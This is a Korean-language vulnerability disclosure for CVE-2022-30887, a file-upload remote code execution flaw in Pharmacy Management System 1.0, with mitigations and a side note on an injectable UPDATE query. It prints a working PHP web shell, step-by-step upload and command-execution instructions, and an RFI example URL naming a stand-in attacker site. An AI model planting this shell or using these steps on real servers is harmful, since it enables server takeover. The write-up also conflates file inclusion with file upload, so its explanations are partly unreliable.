CVE-2022-30887

Pharmacy Management System 1.0 Shell Upload

이 애플리케이션은 Mayurik에 의해 개발되었습니다. PHP로 작성된 약국 관리 시스템 프로젝트는 보안 및 관리를 통해 약국의 정확성과 효율성을 향상시키기 위해 개발되었습니다. 간단히 말하면, 제품 재고 관리 애플리케이션입니다.

Pharmacy Management System v1.0에서 "/php_action/editProductImage.php" 컴포넌트를 통해 원격 코드 실행(RCE) 취약점이 발견되었습니다. 이 취약점은 공격자가 조작된 이미지 파일을 통해 임의 코드를 실행할 수 있도록 합니다.

파일 포함(File Inclusion) 공격이란?

파일 업로드 취약점은 일반적으로 스크립트가 실행될 수 있도록 하는 취약점입니다. 서버에 파일을 업로드하고 업로드된 파일에 명령을 입력할 때 발생합니다. 파일 업로드 취약점은 두 가지 유형으로 나뉩니다.

• LFI (로컬 파일 포함)
• RFI (원격 파일 포함)

LFI (로컬 파일 포함)

이 취약점은 서버의 로컬 파일이 사용자로부터 검색된 파일을 포함할 때 발생합니다. 사용자로부터 받은 값은 정화되어야 합니다.

LFI (로컬 파일 포함) 예시;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI (원격 파일 포함)

이 취약점은 공격자가 원격 서버에서 악성 코드를 업로드할 때 발생합니다.

RFI (원격 파일 포함) 예시;

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

익스플로잇 및 PoC 설명

• 먼저, 로그인 페이지 이후 "dashboar.php"로 이동합니다.
• 둘째, 취약점이 발견된 페이지로 이동하려면 메뉴에서 'manage medicine'을 클릭한 후 'medicine'을 클릭하면 "product.php"로 이동하고, 'action' 탭 아래에서 'edit image'를 클릭합니다.

• "editproduct.php" 페이지에서 'select photo' 버튼을 클릭하고 셸 스크립트를 업로드합니다.

php 셸 스크립트 예시;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• 저장 버튼을 클릭하고 burp suite에서 요청을 잡습니다.

요청;

응답;

• 파일이 "/assets/myimage/" 폴더에 다운로드됩니다.
• URL /assets/myimage/shell.php?s=echo+%22MuallimNaci%22로 요청하여 스크립트를 실행합니다.

요청;

응답;

• 그리고 BOOM

또한 이 취약점은 여전히 애플리케이션에서 활성화되어 있습니다.

완화 방법

• 문자 "a-Z0-9"만 허용하고 ".." 또는 "/" 또는 "%00" (null 바이트)을 허용하지 않도록 하십시오.
• "allow_url_include 플래그"가 꺼져 있어야 합니다.
• OWASP 10 대응에 따르면, "애플리케이션은 페이지에 포함될 수 있는 파일 화이트리스트를 유지하고, 식별자(예: 인덱스 번호)를 사용하여 선택한 파일에 접근해야 합니다. 유효하지 않은 식별자를 포함하는 모든 요청은 거부되어야 하며, 이렇게 하면 악의적인 사용자가 경로를 조작할 수 있는 공격 표면이 없습니다."

추가 사항

동일한 페이지인 "editproduct.php"에서 저장형 XSS를 발견했습니다.

• 취약점을 포함하는 코드는 다음과 같습니다;

$sql = "UPDATE product SET product_name = '$productName'"

이 코드 블록에서는 큰따옴표(")를 사용하여 컨텍스트를 벗어날 수 있습니다.

요청;

응답;

결론

이 글을 통해 파일 포함 취약점이 어떻게 작동하는지, 어떤 상황에서 이 취약점이 트리거되는지, 그리고 어떻게 공격자로부터 이 공격을 방지할 수 있는지 설명할 수 있기를 바랍니다. 소중한 시간을 내주셔서 감사합니다.